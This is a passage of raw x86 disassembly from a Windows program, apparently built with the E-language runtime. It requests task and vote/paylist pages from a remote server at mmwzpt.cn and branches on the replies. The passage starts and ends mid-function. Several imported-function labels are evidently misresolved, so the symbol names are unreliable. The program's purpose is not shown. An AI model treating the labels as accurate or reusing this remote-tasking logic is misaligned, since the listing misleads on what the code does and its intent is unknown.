mov ebx, dword [0x5f2c5c]
test ebx, ebx
je 0x416568
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [0x5f2c5c], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5259fb
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5f2c5c]
test eax, eax
jne 0x4165a1
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x4165d0
mov dword [0x5f2c98], 1
jmp 0x4165da
mov dword [0x5f2c98], 0
push 0x80000301
push 0
push dword [0x5f2ca0]
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x160198d6
push 0x52010001
call fcn.00432e9d
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x416627
push ebx
call fcn.00432e91
add esp, 4
push 0x80000301
push 0
push dword [0x5f2ca4]
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x160198d4
push 0x52010001
call fcn.00432e9d
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x416674
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x416687
mov eax, 0x524deb
push eax
push 1
mov ebx, 0x433b30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
fld qword [ebp - 0x80]
fsub qword [0x524e28]
ftst
fnstsw ax
test ah, 1
je 0x4166b4
fchs
fcomp qword [0x5254fb]
fnstsw ax
test ah, 0x41
jne 0x416736
push 0
mov ebx, 0x436360
call fcn.00432e85
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x525a08
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x436540
call fcn.00432e85
add esp, 0x1c
push reloc.WS2_32.dll_connect
push 0
push 0x525a08
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x436540
call fcn.00432e85
add esp, 0x1c
call fcn.0041a7f3
mov eax, dword [0x5f2ca0]
cmp dword [0x5f2ca4], eax
jl 0x4167ef
push 0xffffffffffffffff
push 0x12
push 0x160198d8
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jne 0x41679e
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push 2
mov eax, 5
mov ebx, 0x4a1540
call fcn.00432e97
add esp, 0x1c
jmp 0x4167ef
mov dword [0x5f2c6c], 0
mov dword [ebp - 0x74], esp
push 0x1388
push 0
push 0x40
push 0x524d9d
push 0x525a2b
push 0
mov eax, 0x30
call fcn.00432e7f
cmp dword [ebp - 0x74], esp
je 0x4167e5
push 6
call fcn.00432e79
add esp, 4
push 0
call fcn.00432ea9
add esp, 4
cmp dword [0x5f2c9c], 0
je 0x41757a
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov eax, str.http:__www.mmwzpt.cn_mmrj_zx.asp_Actionzxtaskname10bran_hbh
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.00407adf
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x4168cf
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4168e2
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4168f5
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x416908
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x41691b
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x41692e
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x41693e
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x41694e
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x416964
mov eax, 0x524d8b
push eax
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x416990
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4169a7
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5259cc
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x52595c
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4169fa
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x416a0a
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x416a20
mov eax, 0x524deb
push eax
push 1
mov ebx, 0x433b30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], edx
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x416a52
push ebx
call fcn.00432e91
add esp, 4
fld qword [ebp - 0x8c]
call fcn.004011d3
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x52576a
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5259cc
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x416aaf
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x416abf
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x416ad6
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x3c], eax
fild dword [ebp - 0x38]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fild dword [0x5f2c9c]
fstp qword [ebp - 0x80]
fsub qword [ebp - 0x80]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
call fcn.004011d3
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 1
jle 0x416f93
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x525773
push dword [ebp - 0x74]
push 0x525773
mov ecx, 3
call fcn.00401177
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x416b53
push ebx
call fcn.00432e91
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x416b78
mov eax, 0x524deb
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x416b8c
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x416bb2
push ebx
call fcn.00432e91
add esp, 4
cmp dword [ebp - 0x7c], 0xffffffff
jne 0x416c07
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x524d9d
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
push 0x525aa8
push 4
mov ebx, 0x436200
call fcn.00432e85
add esp, 0x34
push 0
call fcn.00432ea9
add esp, 4
jmp 0x416f8e
fild dword [ebp - 0x40]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fadd qword [0x524e28]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
call fcn.004011d3
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
push 0x525773
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x416c48
mov eax, 0x524deb
push eax
push 3
mov ebx, 0x434370
call fcn.00432e85
add esp, 0x28
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x44]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x416c86
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x416c82
imul eax, dword [ebx]
jmp 0x416c77
mov ecx, eax
test ecx, ecx
je 0x416ca5
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x416c9e
push ebx
push eax
call fcn.00432e91
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x416c8c
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 1
mov eax, 0x524deb
push eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x416cce
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x40]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fadd qword [0x524e28]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
call fcn.004011d3
xor ecx, ecx
push eax
lea eax, [ebp - 0x48]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x416d75
mov ebx, dword [ebp - 0x44]
call fcn.004010ec
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x416d20
push 4
call fcn.00432e79
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x416d33
push 1
call fcn.00432e79
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0x525773
mov ebx, dword [ebp - 0x74]
push dword [ebx]
push dword [ebp - 0x4c]
mov ecx, 3
call fcn.00401177
add esp, 0xc
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x416d6c
add esp, 0xc
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x525773
push dword [ebp - 0x74]
push 0x525773
mov ecx, 3
call fcn.00401177
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x416dbe
push ebx
call fcn.00432e91
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x416de3
mov eax, 0x524deb
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x416df7
jmp 0x41757a
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov eax, str.http:__www.mmwzpt.cn_mmrj_paylist.asp_vote10bran_hbh
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.00407adf
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x417066
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x417079
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x41708c
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x41709f
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4170b2
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4170c5
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4170d5
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x4170e5
push ebx
call fcn.00432e91
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4170fb
mov eax, 0x524d8b
push eax
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x417127
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x41713e
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x417155
mov eax, 0x524deb
push eax
push 1
mov ebx, 0x434d30
call fcn.00432e85
add esp, 0x10
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
push dword [ebp - 0x7c]
mov eax, 0x525baf
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
mov eax, 0x525bb2
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.00402a47
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4171c0
push 0x525bfd
push dword [ebp - 0x2c]
call fcn.0040104f
add esp, 8
cmp eax, 0
jne 0x4175f4
push 0
push 1
push 0xffffffffffffffff
push 0x12
push 0x160100d5
push 0x52010001
call fcn.00432e9d
add esp, 0x18
mov dword [0x5f2c8c], 1
push 0
push 0
push 0xffffffffffffffff
push 0x12
push 0x160100d4
push 0x52010001
call fcn.00432e9d
add esp, 0x18
push 0
push 1
push 0xffffffffffffffff
push 6
push 0x160100d4
push 0x52010001
call fcn.00432e9d
add esp, 0x18
push 0x525c00
push dword [ebp - 0x2c]
call fcn.0040104f
add esp, 8
cmp eax, 0
jne 0x41766e
push 0
push 0
push 0xffffffffffffffff
push 0x12
push 0x160100d5
push 0x52010001
call fcn.00432e9d
add esp, 0x18
mov dword [0x5f2c8c], 0
push 0
push 1
push 0xffffffffffffffff
push 0x12
push 0x160100d4
push 0x52010001
call fcn.00432e9d
add esp, 0x18
push 0
push 1
push 0xffffffffffffffff
push 6
push 0x160100d5
push 0x52010001
call fcn.00432e9d
add esp, 0x18
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525c05
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x41769f
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x417862
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525c0d
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4176f0
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fadd qword [0x524e28]
fstp qword [ebp - 0x84]
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x5251f9
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x41774c
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x88], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525c0d
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x417796
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x9c]
fsub qword [ebp - 0x9c]
fsub qword [0x524e28]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
call fcn.004011d3
push 0x80000301
push 0
push eax
fld qword [ebp - 0x84]
call fcn.004011d3
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x417818
mov eax, 0x524deb
push eax
push 3
mov ebx, 0x433680
call fcn.00432e85
add esp, 0x28
mov dword [ebp - 0xa8], eax
push 0
push dword [ebp - 0xa8]
push 0xffffffffffffffff
push 8
push 0x16010a35
push 0x52010001
call fcn.00432e9d
add esp, 0x18
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x417862
push ebx
call fcn.00432e91
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525c0f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x417893
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x417dca
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x52575a
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x525c0f
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00402a47
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x417902
push ebx
call fcn.00432e91
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x417912
push ebx
call fcn.00432e91
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x417929
push ebx
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x54], eax
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
push dword [ebp - 0x54]
call fcn.0040104f
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x417973
push ebx
call fcn.00432e91
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x417a21
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x525c1b
push dword [ebp - 0x74]
push 0x525c38
mov ecx, 3
call fcn.00401177
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4179c3
push ebx
call fcn.00432e91
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x524d9d
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x4179f4
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x436200
call fcn.00432e85
add esp, 0x34
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x417a17
push ebx
call fcn.00432e91
add esp, 4
push 0
call fcn.00432ea9
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525773
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x417a52
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x417dca
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525773
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x417a97
mov eax, 0x524deb
push eax
push 3
mov ebx, 0x434370
call fcn.00432e85
add esp, 0x28
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x58]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x417acf
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x417acb
imul eax, dword [ebx]
jmp 0x417ac0
mov ecx, eax
test ecx, ecx
je 0x417aee
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x417ae7
push ebx
push eax
call fcn.00432e91
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x417ad5
call fcn.00432e91
add esp, 4
pop eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x48], 1
mov ebx, dword [ebp - 0x58]
call fcn.00402e35
xor ecx, ecx
push eax
lea eax, [ebp - 0x48]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x417dc7
mov ebx, dword [ebp - 0x58]
call fcn.004010ec
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x417b3d
push 4
call fcn.00432e79
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x417b50
push 1
call fcn.00432e79
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0x74]
push dword [ebx]
call fcn.0040104f
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x417ba0
push ebx
call fcn.00432e91
add esp, 4
cmp dword [ebp - 0x7c], 0
je 0x417c4e
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x525c1b
push dword [ebp - 0x74]
push 0x525c38
mov ecx, 3
call fcn.00401177
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x417bf0
push ebx
call fcn.00432e91
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x524d9d
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x417c21
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x436200
call fcn.00432e85
add esp, 0x34
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x417c44
push ebx
call fcn.00432e91
add esp, 4
push 0
call fcn.00432ea9
add esp, 4
mov ebx, dword [ebp - 0x58]
call fcn.004010ec
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x417c6b
push 4
call fcn.00432e79
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x417c7e
push 1
call fcn.00432e79
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.00432ea3
add esp, 0x10
mov dword [ebp - 0x78], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x74]
mov eax, dword [ebx]
test eax, eax
jne 0x417cc6
mov eax, 0x524deb
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x417cda
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x417d00
push ebx
call fcn.00432e91
add esp, 4
cmp dword [ebp - 0x7c], 0xffffffff
je 0x417dbf
mov ebx, dword [ebp - 0x58]
call fcn.004010ec
push ebx
push ecx
mov eax, dword [ebp - 0x48]
dec eax
jns 0x417d27
push 4
call fcn.00432e79
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x417d3a
push 1
call fcn.00432e79
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push 0x525c4f
mov ebx, dword [ebp - 0x74]
push dword [ebx]
push 0x525c81
mov ecx, 3
call fcn.00401177
add esp, 0xc
mov dword [ebp - 0x78], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x524d9d
push 0x80000301
push 0
push 0x40
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x417d92
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x436200
call fcn.00432e85
add esp, 0x34
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x417db5
push ebx
call fcn.00432e91
add esp, 4
push 0
call fcn.00432ea9
add esp, 4
pop eax
pop ebx
pop ecx
jmp 0x417b12
add esp, 0xc
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525c94
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x417dfb
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x418172
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525c9d
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x417e4c
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fadd qword [0x525053]
fstp qword [ebp - 0x84]
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x525ca0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x417ea8
mov eax, 0x524deb
push eax
push 4
mov ebx, 0x4338e0
call fcn.00432e85
add esp, 0x34
mov dword [ebp - 0x88], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
